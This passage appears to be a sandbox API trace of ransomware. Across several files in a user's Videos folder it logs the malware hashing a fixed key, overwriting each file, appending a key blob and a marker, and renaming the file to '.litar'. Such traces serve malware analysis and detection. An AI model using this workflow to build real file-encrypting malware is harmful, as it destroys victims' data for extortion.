halpmcxz\\videos\\b-b9ykzimqbblx\\lv_qcommob.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\LV_qcOmmob.mkv.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\lv_qcommob.mkv.litar")) returned 1 [0126.350] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.350] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.351] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.351] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7384b4b0, ftCreationTime.dwHighDateTime=0x1d4d56f, ftLastAccessTime.dwLowDateTime=0xc8002660, ftLastAccessTime.dwHighDateTime=0x1d4d2df, ftLastWriteTime.dwLowDateTime=0xc8002660, ftLastWriteTime.dwHighDateTime=0x1d4d2df, nFileSizeHigh=0x0, nFileSizeLow=0xe50e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mR73VRvHqMlHdz.mp4", cAlternateFileName="MR73VR~1.MP4")) returned 1 [0126.351] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.351] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.351] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.351] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\mR73VRvHqMlHdz.mp4") returned=".mp4" [0126.351] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\mR73VRvHqMlHdz.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\mr73vrvhqmlhdz.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.351] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=58638) returned 1 [0126.351] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.353] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xe4e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.353] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.354] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.354] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.354] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.354] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xe50e, lpOverlapped=0x0) returned 1 [0126.355] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.355] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.355] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.355] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.355] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.356] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.356] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.356] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.356] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.356] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.356] GetLastError () returned 0x0 [0126.356] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.356] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.356] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.356] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe510) returned 0x30fa0b0 [0126.357] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.357] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.357] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xe509, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xe509, lpOverlapped=0x0) returned 1 [0126.357] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.357] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xe50e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.357] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.357] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.357] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.357] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.357] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.357] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.357] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.357] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.358] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.358] CloseHandle (hObject=0x624) returned 1 [0126.359] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0126.359] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.359] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0126.359] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\mR73VRvHqMlHdz.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\mr73vrvhqmlhdz.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\mR73VRvHqMlHdz.mp4.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\mr73vrvhqmlhdz.mp4.litar")) returned 1 [0126.360] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.360] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.361] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.361] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68eb2b0, ftCreationTime.dwHighDateTime=0x1d4d395, ftLastAccessTime.dwLowDateTime=0x382d9bf0, ftLastAccessTime.dwHighDateTime=0x1d4c630, ftLastWriteTime.dwLowDateTime=0x382d9bf0, ftLastWriteTime.dwHighDateTime=0x1d4c630, nFileSizeHigh=0x0, nFileSizeLow=0x1ff2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="s-v3cZbpeiJD1yTvhr.swf", cAlternateFileName="S-V3CZ~1.SWF")) returned 1 [0126.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.361] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.361] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\s-v3cZbpeiJD1yTvhr.swf") returned=".swf" [0126.361] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\s-v3cZbpeiJD1yTvhr.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\s-v3czbpeijd1ytvhr.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.361] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=8178) returned 1 [0126.361] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.363] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.363] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.365] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.365] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.365] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.365] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x1ff2, lpOverlapped=0x0) returned 1 [0126.365] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.365] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.365] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.365] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.365] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.366] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.366] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.366] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.366] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.366] GetLastError () returned 0x0 [0126.366] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.366] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.366] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.367] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1ff2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.367] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.367] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.367] CloseHandle (hObject=0x624) returned 1 [0126.368] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\s-v3cZbpeiJD1yTvhr.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\s-v3czbpeijd1ytvhr.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\s-v3cZbpeiJD1yTvhr.swf.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\s-v3czbpeijd1ytvhr.swf.litar")) returned 1 [0126.369] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99115830, ftCreationTime.dwHighDateTime=0x1d4cb2b, ftLastAccessTime.dwLowDateTime=0xdee06090, ftLastAccessTime.dwHighDateTime=0x1d4cc25, ftLastWriteTime.dwLowDateTime=0xdee06090, ftLastWriteTime.dwHighDateTime=0x1d4cc25, nFileSizeHigh=0x0, nFileSizeLow=0xfc45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UAJvNRac055.avi", cAlternateFileName="UAJVNR~1.AVI")) returned 1 [0126.369] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\UAJvNRac055.avi") returned=".avi" [0126.369] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\UAJvNRac055.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\uajvnrac055.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.369] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=64581) returned 1 [0126.369] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.371] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xfc1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.371] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.372] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.372] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xfc45, lpOverlapped=0x0) returned 1 [0126.373] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.373] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.373] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.373] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.373] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.374] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.374] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.374] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.374] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.374] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.374] GetLastError () returned 0x0 [0126.374] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.374] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.374] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.374] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfc50) returned 0x30fa0b0 [0126.375] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.375] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xfc40, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xfc40, lpOverlapped=0x0) returned 1 [0126.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.375] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xfc45, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.375] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.375] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.375] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.376] CloseHandle (hObject=0x624) returned 1 [0126.376] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0126.377] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.377] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0126.377] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\UAJvNRac055.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\uajvnrac055.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\UAJvNRac055.avi.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\uajvnrac055.avi.litar")) returned 1 [0126.377] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.377] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.378] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.378] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedf38ab0, ftCreationTime.dwHighDateTime=0x1d4c619, ftLastAccessTime.dwLowDateTime=0x9d38cc60, ftLastAccessTime.dwHighDateTime=0x1d4d3df, ftLastWriteTime.dwLowDateTime=0x9d38cc60, ftLastWriteTime.dwHighDateTime=0x1d4d3df, nFileSizeHigh=0x0, nFileSizeLow=0x528b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x6E1GbuOZBC_86.swf", cAlternateFileName="X6E1GB~1.SWF")) returned 1 [0126.378] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.378] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.378] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.378] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\x6E1GbuOZBC_86.swf") returned=".swf" [0126.378] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\x6E1GbuOZBC_86.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\x6e1gbuozbc_86.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.379] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=21131) returned 1 [0126.379] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.380] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5265, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.380] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.382] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.382] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.382] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.382] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x528b, lpOverlapped=0x0) returned 1 [0126.383] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.383] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.383] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.383] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.383] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.384] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.384] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.384] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.384] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.384] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.384] GetLastError () returned 0x0 [0126.384] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.384] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.384] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.384] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x5290) returned 0x30fa0b0 [0126.384] 